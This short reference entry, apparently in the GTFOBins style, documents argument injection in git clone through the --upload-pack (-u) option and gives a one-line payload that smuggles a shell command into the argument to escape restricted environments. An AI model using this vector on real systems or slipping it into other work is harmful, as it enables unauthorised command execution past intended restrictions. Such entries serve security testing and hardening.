It can be used to break out from restricted environments by running non-interactive system commands.
The --upload-pack vector requires a positional argument in addition to
the injected argument. If possible, use a colon in the positional argument
to always trigger the command.
git clone '-u$({touch,/tmp/foo})' ':x'